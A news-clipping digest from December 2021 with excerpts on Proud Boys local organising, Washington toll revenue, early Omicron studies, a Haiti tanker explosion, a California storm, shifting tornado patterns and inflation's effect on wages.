“Ultimately, all pandemics burn themselves out,” Dr. Anthony S. Fauci, the government’s top infectious disease expert, [said last month](#), adding: “So you have a choice. Do you want it to burn itself out and kill a lot more people and make a lot more people sick? Or do you want to do something about it to prevent further deaths and further illness?”

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HEADLINE	12/14 Proud Boys regroup locally; strategy shift
SOURCE	https://www.nytimes.com/2021/12/14/us/proud-boys-local-issues.html
GIST	<p>They showed up last month outside the school board building in Beloit, Wis., to protest school masking requirements.</p> <p>They turned up days later at a school board meeting in New Hanover County, N.C., before a vote on a mask mandate.</p> <p>They also attended a gathering in Downers Grove, Ill., where parents were trying to remove a nonbinary author’s graphic novel from public school libraries.</p> <p>Members of the Proud Boys, the far-right nationalist group, have increasingly appeared in recent months at town council gatherings, school board presentations and health department question-and-answer sessions across the country. Their presence at the events is part of a strategy shift by the militia organization toward a larger goal: to bring their brand of menacing politics to the local level.</p> <p>For years, the group was known for its national profile. The Proud Boys were prominent at the rallies of Donald J. Trump, at one point offering to serve as the former president’s private militia. On Jan. 6, some Proud Boys members filmed themselves storming the U.S. Capitol to protest what they falsely said was an election that had been stolen from Mr. Trump.</p>

But since federal authorities have [cracked down on the group](#) for the Jan. 6 attack, including arresting more than a dozen of its members, the organization has been more muted. Or at least that was how it appeared.

Away from the national spotlight, the Proud Boys instead quietly shifted attention to local chapters, some members and researchers said. In small communities — usually suburbs or small towns with populations of tens of thousands — its followers have tried to expand membership by taking on local causes. That way, they said, the group can amass more supporters in time to influence next year's midterm elections.

"The plan of attack if you want to make change is to get involved at the local level," said Jeremy Bertino, a prominent member of the Proud Boys from North Carolina.

The group had dissolved its national leadership after Jan. 6 and was being run exclusively by its local chapters, Mr. Bertino said. It was deliberately involving its members in local issues, he added.

That focus is reflected in the Proud Boys' online activity. On the [encrypted messaging app Telegram](#), the Proud Boys' main group in the United States has barely budged in number — with about 31,000 followers — over the last year. But over a dozen new Telegram channels have emerged for local Proud Boys chapters in cities such as Seattle and Philadelphia over that same period, according to data collected by The New York Times. Those local Telegram groups have rapidly grown from dozens to hundreds of members.

Other far-right groups that were active during Mr. Trump's presidency, such as the Oath Keepers and the Three Percenters, have followed the same pattern, researchers said. They have also expanded their local groups in states such as Pennsylvania, Texas and Michigan and are less visible nationally.

"We've seen these groups adopt new tactics in the wake of Jan. 6, which have enabled them to regroup and reorganize themselves," said Jared Holt, a resident fellow at the Atlantic Council's Digital Forensic Research Lab who researches domestic extremist groups. "One of the most successful tactics they've used is decentralizing."

Members of the Oath Keepers and Three Percenters did not respond to requests for comment.

The Proud Boys were founded in 2016 by Gavin McInnes, a co-founder of Vice. [Enrique Tarrio](#), an activist and Florida director of Latinos for Trump, later took over as leader. The group, which is exclusively male, has espoused misogynistic, Islamophobic and anti-Semitic views, according to the Southern Poverty Law Center, which has designated it as a [hate group](#).

By the 2020 election, the Proud Boys — who often wear distinctive black-and-yellow uniforms — had become the largest and most public of the militias. Last year, Mr. Trump referred to them in a presidential debate when he was asked about white nationalist groups, replying, "Proud Boys, [stand back and stand by](#)."

After the Jan. 6 Capitol attack, the group [grew disillusioned](#) with Mr. Trump. The president distanced himself from the riot and declined to offer immunity to those who were involved. The Proud Boys have also experienced a leadership vacuum, after [Mr. Tarrio was arrested](#) two days before the Capitol attack on charges of property destruction and illegally holding weapons.

That was when the Proud Boys began concentrating on local issues, Mr. Holt said. But as local chapters flourished, he said, the group "increased their radical tendencies" because members felt more comfortable taking extreme positions in smaller circles.

Many Proud Boys' local chapters have now taken on causes tied to the coronavirus pandemic, with members showing up at protests over mask mandates and mandatory vaccination policies, according to researchers who study extremism.

This year, members of the Proud Boys were recorded at 145 protests and demonstrations, up from 137 events in 2020, according to the Armed Conflict Location and Event Data Project, a nonprofit that monitors violence. But the data most likely understates the Proud Boys' activities because it doesn't include school board meetings and local health board meetings, said Shannon Hiller, the executive director of the Bridging Divides Initiative, a nonpartisan research group that tracks political violence.

Ms. Hiller said the Proud Boys have shown consistently high levels of activity this year, unlike last year when there was a spike only around the election. She called the change "concerning," adding that she expected to see the group's appearances intensify before the midterms.

On the Proud Boys' local Telegram channels, members often share news articles and video reports about students who were barred from schools for refusing to wear a mask or employees who were fired over a vaccine requirement. Some make plans to appear at protests to act as "muscle," with the goal of intimidating the other side and attracting new members with a show of force, according to the Telegram conversations viewed by The Times.

"Tell me where I need to be and I am there," one member of a Proud Boys group in Wisconsin wrote last month about protests of mask mandates. "I can drive 5-6 hours in any direction."

"Think local, act local," wrote another member.

At some local meetings where the Proud Boys have shown up, they have spoken and threatened community leaders, according to [news reports](#). At others, they have simply stood silently and watched. In the Telegram groups, some boasted that they had handed out their cellphone numbers to those interested in joining them.

While the Proud Boys' membership is not public, Mr. Holt said the group appeared to be growing in small towns and counties.

Often, their presence has been enough to disrupt events. Last month, the school board in Beloit, Wis., said it canceled classes because some of the Proud Boys were at a local protest over mask requirements. In Orange County, Calif., the school board said in September that it would install metal detectors and hire extra security after several Proud Boys attended a meeting and threatened its members.

In New Hanover County, N.C., which has roughly 220,000 people and is two hours north of Charlotte, Stefanie Adams, the school board president, said she had read about the group's increasing appearances and began tracking the reports closely.

Ms. Adams said she had an inkling that the Proud Boys might show up in her school district, which has 25,000 students. Because North Carolina law requires the county school board to vote on whether to continue a mask mandate for students each month, the district had handled many contentious meetings over the issue, she said.

"I figured we were on their radar, and that we might be next," Ms. Adams said. "We knew we had to prepare for them coming to our town, too."

Last month, Ms. Adams was notified by the board's head of security, which she had hired for the monthly meetings, that some Proud Boys were outside the building for the mask mandate vote.

Five Proud Boys eventually entered the room and stood in the back, Ms. Adams said. They folded their arms across their tactical vests and wore matching T-shirts with images of a rooster, the group's insignia. While they did not speak publicly, video footage from the two-hour meeting showed them clapping and cheering as anti-mask speakers made their case.

New Hanover County's seven-member school board ultimately voted four-to-three to extend the mask mandate for another month.

	<p>“A lot of people came up to me after the meeting and said I should have removed them, but the meetings are open to anyone,” Ms. Adams said. She added, “One thing I can tell you is that it didn’t affect our vote or our decision on the masks.”</p> <p>This month, the board voted to make masks optional after the county’s health and human services board ended an indoor mask mandate. Ms. Adams said the Proud Boys did not show up at this month’s meeting.</p>
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HEADLINE	12/14 Tolling revenue still reeling from pandemic
SOURCE	https://mynorthwest.com/3280490/washington-tolling-revenue-still-reeling/
GIST	<p>It’s a question we’ve been trying to answer throughout the COVID-19 pandemic: How much money has the state lost in tolling revenue?</p> <p>Two years ago, the state put together its tolling revenue forecast for 2020. Then the pandemic hit. The state kept revising the forecast lower as we got deeper and deeper in the pandemic, and fewer and fewer people were driving.</p> <p>Since that initial forecast, the state’s toll facilities took in 40% fewer dollars than anticipated. That’s a loss of over \$127 million.</p> <p>By far the worst performer has been the I-405 Express Toll Lanes, which we have chronicled over the last two years. The ETL’s brought in 77% less money than forecasted. That’s a more than \$32 million hit.</p> <p>The SR 167 High Occupancy Toll (HOT) lanes are next, down more than 57%, or over \$4 million.</p> <p>The 520 Bridge is down 52%, a more than \$62 million loss over expectations. The SR 99 Tunnel is down 42%, which is more than \$13 million.</p> <p>The best performer has been the Tacoma Narrows Bridge. It’s only down 13%, but still that’s a nearly \$15 million hit.</p> <p>Things are starting to recover, but it will take a long time to get back to 2019 forecasts — if we ever do.</p> <p>The positive side of this is for the drivers. The average toll on I-405 is now \$2.07, and that’s down from the average pre-COVID toll of \$4.79.</p>
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HEADLINE	12/14 Omicron more vaccine resistant, but milder
SOURCE	https://www.washingtonpost.com/world/2021/12/14/south-africa-omicron-coronavirus/
GIST	<p>CAPE TOWN, South Africa — Omicron appears to cause less severe illness than earlier variants of the coronavirus but is more resistant to the two-dose Pfizer-BioNTech vaccine widely used in South Africa, according to the first major private study since omicron was first detected last month.</p> <p>The study by Discovery Health, South Africa’s largest health insurer, of 211,000 positive coronavirus cases, of which 78,000 were attributed to omicron, showed that risk of hospital admissions among adults who contracted covid-19 was 29 percent lower than in the initial pandemic wave that emerged in March 2020.</p> <p>However, the study, released Tuesday, found that the vaccine from U.S. pharmaceutical giant Pfizer and German partner BioNTech provided just 33 percent protection against infection, much less than the level for other variants detected in the country.</p> <p>At the same time, the vaccine may offer 70 percent protection against being hospitalized with omicron, the study found, describing that level of protection as “very good.”</p>

The protection was maintained across all age groups, Ryan Noach, Discovery Health's chief executive, told a news briefing. He said the disease may be less severe in South Africa because more than 70 percent of the population had already been exposed to the coronavirus.

He cautioned, however, that it was still in the early days and hospital admissions could rise sharply as the variant evolves.

"The omicron-driven fourth wave has a significantly steeper trajectory of new infections relative to prior waves," Noach said in a statement. "National data show an exponential increase in both new infections and test positivity rates during the first three weeks of this wave, indicating a highly transmissible variant with rapid community spread of infection."

"What is encouraging at this stage is a flatter trajectory of hospital admissions indicating likely lower severity of this wave," he told a news briefing later.

Noach said anecdotal evidence gathered from doctors treating omicron patients outside hospitals showed a high reinfection rate and multiple breakthrough infections in vaccinated people that emerge after a short incubation period of three to four days.

Most infections are described as mild, with recoveries usually within three days, he said. The most common early symptom reported is a scratchy throat, followed by nasal congestion, a dry cough and myalgia, or aches, manifesting in lower back pain.

He said private hospitals reported that most patients were unvaccinated and many were initially admitted for non-covid-related illnesses. There was less evidence of respiratory infections in omicron-infected patients, compared to the other variants, with fewer patients requiring oxygen, Noach added.

Shirley Collie, chief health analytics actuary at Discovery Health, said doctors were reporting a higher number of children testing positive with omicron, but cautioned that closer examination of the issue was needed. Discovery Health's data indicated that children under the age of 18 have a 20 percent higher risk of admissions for complications when infected with omicron compared to the other variants, she said.

Most children infected with omicron complained of a headache, sore throat, nasal congestion and a fever, that was usually over within three days, Collie said.

The study did find "good protection" by the vaccine across a range of chronic conditions, she added, including diabetes, hypertension and heart disease, that have proved so dangerous in the course of the disease.

The research comes as omicron has become the dominant variant in South Africa less than three weeks since [its existence was confirmed](#) on Nov. 25. The World Health Organization warned Monday that omicron, now detected in 63 countries, poses a "very high" global risk.

In a separate briefing Tuesday, Matshidiso Moeti, the World Health Organization's director for Africa, declared that Africa was now officially in the fourth wave of the pandemic primarily driven by omicron, with an 83 percent surge in new cases this week compared to the previous week.

"This is the fastest surge recorded since May last year," Moeti said. "We are cautiously optimistic, as we are seeing fewer deaths during the early weeks of this current wave when compared to previous surges."

In South Africa, the drop in the protection of two doses of the Pfizer-BioNTech vaccine against any symptomatic infection is similar to what [a British preprint study](#) released late last week showed, namely that it dipped below 40 percent.

The British study, however, could not answer pressing questions about whether vaccine protection against severe disease would erode just as steeply. The South African data provides the first hint, showing that protection against severe illness requiring hospitalization after two doses was diminished from its more than 90 percent protection against the delta variant but remained relatively robust, at 70 percent.

As the world watches South Africa closely for signs of how omicron could evolve elsewhere, there are a lot of questions around population differences and how much the previous infection protects people.

Glenda Gray, president of the South African Medical Research Council, said it was hard to answer those questions right now.

“South Africa has a quite high seroprevalence of prior infection, particularly after delta, and in some parts of South Africa up to 80 percent of people were exposed to previous infection,” she said. “We don’t think it’s a question of virulence, but more a question of exposure to vaccination and prior infection, so we would be cautious to try and interpret that this is a less virulent strain. We’ll have to see what happens in other parts of the world before we make a call on this.”

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HEADLINE	12/14 Haiti: 60 killed in fuel tanker explosion
SOURCE	https://www.washingtonpost.com/world/2021/12/14/haiti-explosion-gas-cap-haitien/
GIST	<p>A fuel tanker exploded overnight in Cap-Haïtien, Haiti’s second-largest city, killing at least 60 people and wounding dozens more, officials said Tuesday, the latest in man-made and natural calamities to rock the beleaguered Caribbean nation this year.</p> <p>The blast in the port city some 124 miles north of Port-au-Prince caused extensive damage, Prime Minister Ariel Henry said in a tweet. Images showed bright red and orange flames licking at buildings in the dark night, charred cars and motorcycles on city streets, roofs partially blown off homes and the mangled remains of the tanker capsized in a ditch.</p> <p>“Three days of national mourning will be decreed throughout the territory, in memory of the victims of this tragedy that the entire Haitian nation is grieving,” Henry said in a tweet. “Field hospitals will be quickly deployed in Cap-Haïtien to provide the necessary care to the victims of this terrible explosion.”</p> <p>Officials said that the death toll would probably rise as the true extent of the damage became clearer and issued urgent pleas for medical aid.</p> <p>“I am dismayed by the tragedy affecting our city,” Yvrose Pierre, a mayor of Cap-Haïtien, said in a tweet. Nelson Deshommes, a spokesman for the mayor’s office, said he visited the scene of the explosion early Tuesday morning. First responders were removing corpses, including many burned beyond the point of recognition, he said, putting some into body bags and piling others onto trucks.</p> <p>“It’s sad,” Deshommes said. “I could not stay. It’s too difficult for me to see what’s going on.”</p> <p>Patrick Almonor, one of Cap-Haïtien’s three mayors, said the fuel tanker capsized shortly after midnight, spilling gas into a ditch. As locals crowded around to collect some of the gas with containers, the truck exploded, he said. Firefighters arrived with 1,500 gallons of water, but could not extinguish the flames and had to call for aid from airport firefighters.</p> <p>Almonor said the incident appeared to be an accident and that at least 20 homes had been burned.</p> <p>“We have critical needs to take care of the burned people and clean the area,” he said.</p> <p>The explosion is the latest tragedy to strike Haiti this year.</p>

	<p>The country, saddled by endemic poverty, is being led by an interim government after its president was assassinated in July. A massive, 7.2-magnitude earthquake the next month killed more than 2,000 people and injured scores more. Powerful gangs have stepped in to fill a leadership vacuum, kidnapping Haitians from all walks of life and worsening insecurity. U.S. and Canadian officials have urged their nationals to leave the country.</p> <p>In recent months, the country had been left virtually paralyzed by a fuel shortage that hit hospitals and schools, which rely on diesel generators for electricity. Many businesses were forced to close, and transportation workers took part in a nationwide strike to protest the crippling shortages.</p> <p>The growing stranglehold of gangs was in part to blame for the fuel crisis, officials said. Many had hijacked fuel trucks and kidnapped their drivers for ransom or blocked fuel distribution at ports in an attempt to get Henry to resign. Earlier this year, they had blocked the main corridors for convoys bringing aid to victims of the earthquake.</p> <p>Deshommes said the largest hospital in Cap-Haïtien is no longer operating after it was attacked by armed bandits in November, so victims from the explosion have been sent to other facilities, which lack critical resources. Local media reported that some victims were being cared for in the courtyard of one hospital.</p> <p>“I did not see an ambulance on-site to take care of burned people,” Deshommes said. “I did not see living burned people either.”</p>
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HEADLINE	12/15 Powerful storm drenches Southern Calif.
SOURCE	https://apnews.com/article/wildfires-environment-and-nature-california-nevada-los-angeles-c0ec3f5ef13d5577807040144832580b
GIST	<p>LOS ANGELES (AP) — A powerful storm charged south through California on Tuesday, drenching the drought-stricken state with desperately needed rain but also triggering rescue efforts on a swollen river and mandatory evacuations due to the threat of mudslides in some areas scarred by wildfires.</p> <p>The National Weather Service reported remarkable rainfall in several parts of the state.</p> <p>North of the Golden Gate Bridge, Mount Tamalpais accumulated more than 11 inches (28 centimeters) over 72 hours. By early Tuesday, nearly 7 inches (18 centimeters) of rain had fallen in one area of Santa Barbara County, northwest of Los Angeles. More than 4.6 inches (11.8 centimeters) fell within 24 hours in Orange County’s Silverado Canyon, south of LA, where sheriff’s deputies rescued residents from homes inundated by mudslides.</p> <p>Los Angeles firefighters searched the surging Los Angeles River on Tuesday after discovering two submerged vehicles wedged against a bridge pillar south of downtown and learning that a third vehicle had been swept past the bridge. No victims, if any, were immediately located and firefighters were waiting for the water level to fall.</p> <p>“The circumstances surrounding these three separate vehicles and their journey down the LA River remain unclear,” a Fire Department statement said.</p> <p>Earlier, a man was rescued after being swept into a covered stream channel in the San Fernando Valley. The man called for help on his cellphone and firefighters reached him through a maintenance hole on the street above. He suffered bruises and hypothermia, fire officials said.</p> <p>“It’s kind of scary out there,” said Dean Heller, while filling up his car’s gas tank in northeast Los Angeles. Heller said he’d seen a few minor auto accidents and traffic on the Arroyo Seco Parkway had slowed to a crawl because of flooding in lanes.</p> <p>“I’m just trying to get stuff done so I don’t have to be on the roads any more,” he said.</p>

The powerful system is a so-called atmospheric river that sucks up moisture from Pacific Ocean and dumps it at lower elevations as rain and in the mountains as snow.

The storm began over the weekend in Northern California and has brought heavy precipitation as far inland as Nevada, where more than 6 feet (1.8 meters) of snow fell since Sunday night at the Mt. Rose ski resort just southwest of Reno and more than 4 feet (1.2 meters) fell at Heavenly on Lake Tahoe's south shore. Mammoth Mountain in the eastern Sierra also got about 4 feet (1.2 meters).

Residents near the Alisal Fire burn scar in California's Santa Barbara County were ordered Monday to evacuate over concerns that heavy rains might cause flooding and debris flows. The order was lifted Tuesday afternoon.

Similar orders were issued for people living near burn scars in the San Bernardino Mountains east of Los Angeles, where rockslides were reported. A mountain route into the resort town of Big Bear was expected to be closed until Wednesday while crews cleared several feet of mud and debris.

Avalanche warnings were in effect in the Mono and Inyo county areas of the eastern Sierra Nevada as snowfall, which began Sunday, continued Tuesday. Vail Resorts' three Lake Tahoe-area ski resorts opened late Tuesday morning after the significant snowfall. Spokesperson Sara Roston said Kirkwood Mountain Resort, which closed Monday for safety reasons, was among them.

In Orange County, south of Los Angeles, about 800 canyon homes were under evacuation orders Tuesday after a flash flood warning was issued in the area scorched by a 2020 wildfire.

After a cloudburst calmed to a drizzle, Lori Bright leaped a puddle in LA's Highland Park neighborhood, determined to get her daily steps in despite the soggy weather.

"There's a lull, so I decided to go for it," Bright said. "I don't really mind getting wet. Just happy to have any rain."

She crossed her fingers in hopes that the deluge might make a dent in the state's drought.

Jeffrey Mount, a senior fellow at the Public Policy Institute of California's Water Policy Center, said the storm won't be a drought-buster, but water watchers are excited about all of the snow it's dumping in the Sierra Nevada.

Melted snow that runs into California's watershed when the weather warms makes up about a third of the state's water supply. It's important for a strong base of snow to develop in December so that storms later in the winter have something to build on, he said. Most western U.S. reservoirs that deliver water to states, cities, tribes, farmers and utilities rely on melted snow in the springtime.

"You're literally putting water in the bank up there," he said.

Any moisture is much-needed in the broader region that's been gripped by drought that scientists have said is caused by climate change. The latest U.S. drought monitor shows parts of Montana, Oregon, California, Nevada and Utah are classified as being in exceptional drought, which is the worst category.

A second storm predicted to hit California midweek shortly after the current system moves on could deliver almost continuous snow in mountainous areas, said Edan Weishahn of the weather service in Reno, which monitors an area straddling the Nevada state line.

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HEADLINE	12/14 UK adviser: omicron no worse than flu
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SOURCE	https://www.msn.com/en-gb/health/medical/omicron-may-be-no-worse-than-flu-says-government-adviser/ar-AARNwve
GIST	<p>Britain's omicron wave may be no worse than a flu pandemic, an expert has said, as the first major study into the new variant suggests it is less severe than delta.</p> <p>The first real-world study looking at 78,000 omicron cases in South Africa found the risk of hospitalisation is 29 per cent lower compared with the Wuhan strain, and 23 per cent lower than delta, with vaccines holding up well.</p> <p>Far fewer people have also needed intensive care from omicron, with just five per cent of cases admitted to ICU compared to 22 per cent of delta patients, the study shows.</p> <p>Professor Robert Dingwall, a government Covid adviser, from Nottingham Trent University, said it was clear from the South African data that panic was unjustified. Speaking in a personal capacity, Prof Dingwall said: "The omicron situation seems to be increasingly absurd. There is obviously a lot of snobbery about South African science and medicine but their top people are as good as any you would find in a more universally developed country.</p> <p>"They clearly don't feel that the elite panic over here is justified, even allowing for the demographic differences in vulnerability – which are probably more than cancelled by the higher vaccination rate.</p> <p>"My gut feeling is that omicron is very much like the sort of flu pandemic we planned for – a lot of sickness absence from work in a short period, which will create difficulties for public services and economic activity, but not of such a severity as to be a big problem for the NHS and the funeral business."</p> <p>He offered his assessment as it emerged the Liberal Democrats leader, Labour shadow chancellor, Labour shadow transport secretary and Labour shadow education secretary have all tested positive for the virus.</p> <p>Daily reported cases rose to 59,610, an increase of 12.1 per cent in the past week. However, the number of tests carried out has risen 12.4 per cent in the same period, and the percentage of people testing positive is relatively stable at around 10 per cent.</p> <p>'Heartening and encouraging results'</p> <p>The data from South Africa, which was compiled by Discovery Health, its largest private health insurer, and the South Africa Medical Research Council (SAMRC), found that although there were high numbers of breakthrough infections in people who had been vaccinated, cases appeared to be less severe, and this was backed up by anecdotal evidence from doctors on the ground.</p> <p>They found that effectiveness against infection dropped from 80 per cent to 33 per cent but offered 70 per cent protection against hospital admissions, and this was maintained across age groups and chronic conditions. At the time of the study there had been no deaths.</p> <p>Professor Glenda Geray, of SAMRC, said: "It's very heartening to see these results and release that vaccine effectiveness is still greater than 50 per cent. So it's encouraging and again – the booster strategy may also mitigate the reduction in vaccine effectiveness.</p> <p>"I think it's too early for us to make that call but we can say that prior infection and vaccination are affecting the reduction of admission and serious illness. And we're seeing a shorter duration in hospitalisation.</p> <p>"People who have been vaccinated are staying in hospital just 2.4 days."</p> <p>The study also showed that the odds of reinfection were lower than during delta, suggesting that people who had a delta infection may be better protected.</p>

	<p>The researchers said that although excess natural deaths had increased in South Africa in recent weeks, they were still significantly lower than during previous waves.</p> <p>Ryan Noach, chief executive of Discovery Health, said: "You can see clearly that in omicron, the adult population has a 29 per cent lower risk of admission.</p> <p>"If you look at the proportion of patients admitted to high care in ICU for severe illness, across the first three waves, the proportion of patients in high care and ICU collectively goes up to 35 per cent, whereas in this omicron period, it is only about 13 per cent.</p> <p>"The data is correlating with the anecdotal feedback. At this point, there is hope the severity is lower. Excess natural deaths are significantly lower than in previous waves despite the rapid growth in infections."</p> <p>At the science and technology select committee, Kate Bingham, who led the Government's vaccine programme, said the data from South Africa were encouraging. "It may be omicron is a more mild disease. It is clearly widely divergent from the Wuhan strain."</p>
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HEADLINE	12/14 Tornado Alley moving eastward?
SOURCE	https://www.cbsnews.com/news/tornado-alley-may-be-moving-east-threatening-businesses-supply-chains/
GIST	<p>The cluster of deadly storms that slammed the U.S. last weekend is the latest sign that tornado activity has waned in the Great Plains — historically known as "Tornado Alley" — while picking up in the southeastern U.S., a manufacturing-rich region that is increasingly critical to the nation's supply chain.</p> <p>"We've seen a shift, really — a decrease in the frequency in the Great Plains, which still gets a lot of tornadoes, but an increasing trend in places like Kentucky and Tennessee, Arkansas, Missouri and portions of the Midwest," Victor Gensini, an associate professor and leading researcher on severe weather, told CBSN. "And this is obviously a big deal for vulnerability."</p> <p>It may take weeks before the final death toll from the tornadoes will be known. More than 70 deaths have been confirmed and dozens of people remain unaccounted for, Kentucky's governor said Monday. The severe weather and tornadoes affected seven other states, killing at least 12 additional people.</p> <p>At least two of the most prominent casualties over the weekend were a massive Amazon distribution center in Edwardsville, Illinois, that serves the region's businesses and consumers and a candle factory in Mayfield, Kentucky, where more than 100 people were working the night shift when the tornadoes struck.</p> <p>Such businesses are a bulwark of local economies across the region, which raises the risks for many communities and employees faced with ever more extreme weather.</p> <p>The storms are likely to cost at least \$18 billion, according to a preliminary estimate for total damage and economic losses from Accuweather. The disaster is the latest in a year of severe weather events exacerbated by climate change. Some 18 disasters with losses exceeding \$1 billion each hit the U.S. through October, according to the National Oceanic and Atmospheric Administration.</p> <p>"We have seen in the last couple of decades an eastward shift away from the traditional Tornado Alley areas [and] more in the Mississippi Valley in the Midwest, other parts of the Southeast plains," Steven Bowen, managing director for catastrophe insight for insurer Aon, said this week. "That's leading to higher costs, especially in areas where we do see a lot of these manufacturing facilities and a lot of the central portions of much of the supply chain that is really critical."</p> <p>"So as we start to see more shifts, we do have to start taking a step back and recognize how we're assessing risk," said Bowen, who is a former meteorologist.</p>

Of the \$135 billion in U.S. economic losses from extreme weather through November, roughly \$30 billion is tied to severe storms like tornadoes, thunderstorms and destructive winds, defined as those resulting from warm, moist air rising from the earth. Insured losses from such storms stood at \$21 billion, meaning the rest wasn't covered, according to Aon estimates.

This week's catastrophe comes amid two trends in a region that stretches from southern Illinois to Arkansas to western Georgia connected by the interstate highway system: a growing manufacturing base that includes an increasing number of [auto assembly plants](#), and a [strain on the nationwide supply chain](#) as the country rebounds from the global economic shock caused by COVID-19.

The region including Kentucky, Tennessee, Mississippi and Alabama accounted for the second-highest concentration of manufacturing employees in the nation in 2015 as workers lured from the Northeast and Midwest moved over decades, according to a recent [analysis](#) from the Urban Institute. More plants are coming: In September, Ford [announced](#) a new Tennessee complex where it will build electric F-series trucks as well as new battery plants in Kentucky.

The region is also a vital hub for shipping and logistics. FedEx's main facility is in Memphis, Tennessee, home to the busiest air cargo port in North America and roughly 50 miles away from where one of the tornadoes touched down. UPS's headquarters is further away in Louisville, Kentucky. Both are strategically near major interstate highways in a nation where trucks [move roughly 75% of freight](#).

FedEx's contingency plan of shifting operation centers outside Memphis limited service interruptions, according to the company. "[W]e appreciate our customers' patience and understanding as we work to clear the remaining backlog," a spokeswoman said in an email to CBS MoneyWatch.

Memphis-based International Paper, a big maker of corrugated cardboard used for shipping boxes wasn't impacted by the storms, a spokeswoman said. The company also has plants in [states](#) hit by last weekend's fierce storms, including Arkansas and Kentucky.

Unpredictable and more deadly

Tornadoes tend to be more destructive and unpredictable than other extreme weather events, [especially if they occur at night](#), according to a [study](#) conducted by the National Institute for Risk and Resilience as well as the Storm Prediction Center. An overnight tornado is more than twice as likely to result in fatalities than one that happens during the day, the researchers note.

What's more, because the area is more populous than the traditional Great Plains region where tornadoes land, the destruction is more costly — both to humans and property, experts said.

Companies and organizations often look to "harden" structures after extreme weather events, said Katherine Klosowski, manager of natural hazards and structures engineering for global property insurance giant FM Global. Every dollar spent on hurricane protection can prevent \$105 in property losses and disruption, according to the firm's [analysis](#).

Building stronger structures

After these latest tornadoes, businesses in the affected areas will likely look at where to rebuild to reduce risks and how to retrofit buildings to make them more resilient, Klosowski said. For instance, a company might locate some facilities underground or reinforce buildings for high-wind damage in tornado-prone areas.

Tornadoes can be harder to protect against versus reinforcing for floods or hurricanes in part because of unpredictability, extreme wind speeds and how they manifest, she said.

"It's just harder to do it. But organizations are certainly making concerted efforts in terms of site selection — where they're deciding to build new facilities or where they're deciding to invest in facilities. And they're also making decisions to harden some of the facilities that they have," Klosowski said.

"All of this is to protect their investment to make sure that they can keep producing and that they can keep continuing on whatever their mission is for their customers," she said.

Key to what happens next in the region may be how well FEMA and the federal government help in the rebuilding process, said disaster relief expert Mary Long, managing director of the Global Supply Chain Institute's Supply Chain Forum at the University of Tennessee, Knoxville's Haslam College of Business.

President Joe Biden, who [will visit Kentucky on Wednesday](#), approved a disaster declaration December 12. That allows federal aid to flow to the state to supplement its recovery efforts. He said his administration is "going to be there as long as it takes to help."

Companies already in the region are unlikely to move out of the area to mitigate risk, Long predicted. That's because firms chose the area "from an economic standpoint in servicing the U.S. population, and the infrastructure that's available." If the federal, state and local governments don't execute the recovery well, that's when firms may chose to relocate.

"They're under a lot of pressure, obviously, but also, this is what they do. They're trained to do this. It's not their first rodeo," Long said.

"The pandemic has honed the skills in collaboration. Some states and local governments have worked that more adeptly. Others are still working it out. We all intend to have it be a good thing," she said. "We don't intentionally want to harm people. In my space of disaster relief, we are seeking to reduce suffering and save lives. That's the ultimate goal."

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HEADLINE	12/14 Inflation whittles away workers' raises
SOURCE	https://www.cbsnews.com/news/inflation-real-wages-raises-workers/
GIST	<p>The U.S. labor shortage during the pandemic has helped boost wages for frontline employees like grocery clerks and retail workers at their fastest pace in years. Many restaurant workers have seen their wages jump 12% over the last year, a pay raise of more than \$2 an hour.</p> <p>Because of rising prices, however, those seemingly robust wage gains amount to an increase of only "pennies" per hour once inflation is included, according to a new analysis from the Brookings Institution. The study examined wages at 13 of the biggest and most profitable retail, grocery and fast-food companies in America — companies such as Amazon.com, which recently boosted wages to attract new hires. Together, these businesses employ 5 million workers.</p> <p>"We're seeing headlines that, yes, wages did go up, but when you take into effect inflation, it's not up very much at all," said Molly Kinder, a co-author of the study and a fellow at Brookings Metro. And workers in these industries "started at such a low level that, even though it's still an almost 10% increase, it's still a very low wage."</p> <p>For instance, Kroger in October lifted its average hourly wage to \$16.25, a boost of \$1.25 from its prior average rate. But a Kroger grocery worker these days would have to earn \$16.08 an hour to have the same purchasing power as someone earning \$15 an hour before the pandemic, Brookings found.</p> <p>After inflation, the real pay increase for Kroger workers is 17 cents an hour — \$25 a month — the study concluded. Only one of the 13 companies, Amazon, paid an average wage that now meets the standard of a living wage, according to the centrist think tank.</p> <p>Kroger took issue with the findings, saying that its average wage by year-end will top \$21 an hour when factoring in the sweetened benefits the company now offers.</p>

"Brookings failed to note Kroger's additional investment in our associates by expanding our industry-leading benefits, including continuing education and tuition reimbursement, training and development, health and wellness, and retirement benefits," the company said in a statement to CBS MoneyWatch.

Those benefits will offer a lasting leg up to Kroger workers, while inflation will eventually moderate, the company added.

White-collar workers, whose pay raises have been more muted this year, are also feeling the sting of inflation. But frontline workers generally feel the impact of rising prices more because many do not earn a living wage or otherwise live close to the edge.

Wage erosion

It's difficult for most workers to avoid the pain of higher prices given that inflation is hitting a wide range of goods, from gasoline to food at the grocery store. That is souring Americans' view of the economy, with two-thirds describing the economy bad — the worst numbers since the depths of the pandemic in the summer of 2020, a [recent CBS News poll found](#).

Across the board, workers are experiencing an erosion in "real" wages, or pay after inflation is factored in. Employees saw their real average hourly earnings slump by almost 2% in November compared with a year earlier, the Labor Department [said](#) on Friday.

Many of the hardest-hit are people who work in professional and business services — white collar jobs such as accountants and architects — who saw their wages rise 5.7% in November, compared with a year earlier. But inflation outpaced that, with a [6.8% increase during that same time](#).

Businesses are boosting wages to attract new hires amid a labor shortage, with about 2.5 million fewer people in the workforce than prior to the pandemic. Workers are resigning to [start their own businesses](#), to cope with family-care demands or retiring as part of the aging of the baby boomer generation.

The "[Great Resignation](#)" is putting pressure on businesses to step up with wage hikes and enhanced benefits. But that often isn't enough to offset inflation, especially for low-paid workers who were struggling prior to the pandemic, the analysis found.

Low-wage workers are also experiencing higher levels of stress, Brookings' Kinder said. For one, the ongoing pandemic continues to pose health risks for them and their families, while the businesses where they work are often short-staffed, putting more demands on them. At the same time, [employers are experiencing strong revenue](#) and profit gains during the pandemic — and workers may not feel like they are benefiting.

"Most of them saw big increases in profit, big increases in revenue," Kinder said. "And workers feel this big disconnect," leading to developments such as Starbucks' employees [unionizing](#) and John Deere workers [going on strike](#).

Kinder added, "Millions of frontline hourly workers are doing better but they aren't doing well. And despite some of the headlines on wage gains, I don't think the pandemic economy is working for most hourly workers."

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HEADLINE	12/14 Kentucky tornado: 12 of 74 killed were kids
SOURCE	https://www.cbsnews.com/live-updates/kentucky-tornado-governor-andy-beshear-news-conference-watch-live-stream-today-2021-12-14/
